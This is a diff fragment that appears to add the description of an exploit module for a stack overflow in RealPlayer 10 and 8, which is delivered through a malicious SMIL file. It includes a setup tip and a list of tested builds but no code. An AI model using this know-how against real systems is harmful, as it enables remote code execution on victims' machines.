+				This module exploits a stack overflow in RealNetworks RealPlayer 10 and 8. 
+				By creating a URL link to a malicious SMIL file, a remote attacker could 
+				overflow a buffer and execute arbitrary code.  
+				When using this module, be sure to set the URIPATH with an extension of '.smil'.
+				This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
+				build 6.0.9.584.
